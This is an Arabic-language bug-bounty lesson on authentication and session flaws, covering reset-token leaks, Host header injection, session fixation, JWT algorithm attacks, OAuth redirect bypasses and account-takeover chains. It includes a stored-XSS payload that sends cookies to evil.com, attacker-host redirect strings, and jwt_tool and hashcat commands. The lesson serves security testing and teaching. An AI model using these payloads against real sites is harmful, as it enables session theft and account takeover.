فئات ثغرات الويب
عيوب المصادقة والجلسة
3 دقيقة للقراءة
فشل المصادقة هو رقم 7 في OWASP Top 10:2025. المصادقة الضعيفة تؤدي لاستيلاء الحساب، أكثر فئات الثغرات تأثيراً على المستخدمين.
ثغرات إعادة تعيين كلمة المرور
تسريب الرمز
# تحقق إذا كان الرمز يظهر في رأس Referer
1. اطلب إعادة تعيين كلمة المرور
2. انقر على رابط إعادة التعيين
3. الصفحة تحمل مورداً خارجياً (صورة، سكربت)
4. الرمز مسرب في رأس Referer
# تحقق من الرمز في URL مقابل جسم POST
# رموز URL يمكن أن تتسرب عبر تاريخ المتصفح، السجلات
رموز ضعيفة
# اختبر قابلية توقع الرمز
# اطلب إعادة تعيينات متعددة، قارن الرموز
الرمز 1: abc123def456
الرمز 2: abc123def457 # تسلسلي = متوقع!
# اختبر إعادة استخدام الرمز
# هل يمكن للرموز القديمة أن تعمل؟
# ما هو وقت الانتهاء؟
حقن رأس Host
# حقن host خبيث في طلب إعادة التعيين
POST /reset-password HTTP/1.1
Host: attacker.com
X-Forwarded-Host: attacker.com
# إذا احتوى البريد: https://attacker.com/reset?token=xxx
# المستخدم ينقر → الرمز يُرسل للمهاجم
إدارة الجلسة
تثبيت الجلسة
# هل يمكنك تعيين معرف الجلسة قبل تسجيل الدخول؟
1. المهاجم يزور الموقع، يحصل على معرف جلسة: ABC123
2. المهاجم يرسل للضحية رابط بمعرف الجلسة
3. الضحية يسجل الدخول بمعرف جلسة المهاجم
4. المهاجم الآن لديه جلسة مصادقة
# اختبر:
# هل يتغير معرف الجلسة بعد تسجيل الدخول؟
# هل يمكنك تعيين الجلسة عبر معامل URL؟
تحليل رمز الجلسة
# تحقق من أعلام أمان الكوكي
Set-Cookie: session=xyz;
# مفقود HttpOnly → XSS يمكنه السرقة
# مفقود Secure → اعتراض HTTP
# مفقود SameSite → عرضة لـ CSRF
# حلل إنتروبيا الرمز
# رموز قصيرة = قابلة للقوة العمياء
# تسلسلية = متوقعة
# مبنية على الوقت = متوقعة
ثغرات JWT
ارتباك الخوارزمية
# غيّر الخوارزمية إلى 'none'
# الرأس الأصلي
{"alg": "RS256", "typ": "JWT"}
# الرأس المعدل (ترميز base64)
{"alg": "none", "typ": "JWT"}
# أرسل بدون توقيع
<header>.<payload>.
هجوم ارتباك المفتاح
# هجوم RS256 → HS256
# الخادم يستخدم المفتاح العام للتحقق من RS256
# الهجوم: وقّع بـ HS256 باستخدام المفتاح العام كسر
# الأدوات
jwt_tool <token> -X a # هجمات الخوارزمية
jwt_tool <token> -I -pc user -pv admin # حقن الحمولة
مشاكل JWT الشائعة
| المشكلة | الاختبار |
|---|---|
| خوارزمية None | عيّن alg إلى "none" |
| سر ضعيف | قوة عمياء مع hashcat |
| لا انتهاء | تحقق من مطالبة "exp" المفقودة |
| بيانات حساسة في الحمولة | فك base64، تحقق من المحتويات |
# كسر أسرار JWT الضعيفة
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
ثغرات OAuth/SSO
إعادة توجيه مفتوحة في OAuth
# تلاعب بـ redirect_uri
/oauth/authorize?redirect_uri=https://evil.com/callback
# تجاوز التحقق
redirect_uri=https://legit.com.evil.com
redirect_uri=https://legit.com%40evil.com
redirect_uri=https://legit.com/callback/../../../evil
CSRF في تدفق OAuth
# معامل state مفقود
# الهجوم: أرسل للضحية OAuth URL بدون state
# حساب الضحية مرتبط بهوية المهاجم
تسريب الرمز
# رمز الوصول في جزء URL
# تحقق من تاريخ المتصفح، تسريب Referer
# تحقق إذا كان access_token يظهر في سجلات الخادم
سلاسل استيلاء الحساب
مثال سلسلة: إعادة تعيين كلمة المرور + IDOR
1. ابحث عن IDOR في إعدادات المستخدم
2. غيّر بريد الضحية لبريد المهاجم
3. اطلب إعادة تعيين كلمة المرور
4. رابط إعادة التعيين يُرسل للمهاجم
5. استيلاء الحساب تم
مثال سلسلة: XSS + سرقة الجلسة
1. ابحث عن stored XSS في الملف الشخصي
2. حقن: <script>fetch('https://evil.com/?c='+document.cookie)</script>
3. الضحية يعرض الملف الشخصي
4. كوكي الجلسة مُستخرج
5. سجل دخول كالضحية
قائمة مراجعة الاختبار
- قابلية توقع رمز إعادة تعيين كلمة المرور
- انتهاء الرمز وإعادة استخدامه
- حقن رأس host في رسائل إعادة التعيين
- تجديد معرف الجلسة بعد تسجيل الدخول
- أعلام أمان الكوكي (HttpOnly، Secure، SameSite)
- ثغرات خوارزمية JWT
- التحقق من redirect_uri في OAuth
- وجود معامل state في OAuth
أمثلة المكافآت
| الثغرة | الشركة | المكافأة |
|---|---|---|
| خوارزمية JWT none | Auth0 | 10,000 دولار |
| تسريب رمز إعادة تعيين كلمة المرور | 5,040 دولار | |
| تجاوز redirect في OAuth | 7,500 دولار | |
| تثبيت الجلسة | Shopify | 3,000 دولار |
نصيحة احترافية: ثغرات المصادقة غالباً تتطلب التسلسل. كشف معلومات منخفض الخطورة + عيب مصادقة = استيلاء حساب حرج.
في الدرس التالي، سنستكشف Server-Side Request Forgery (SSRF). :::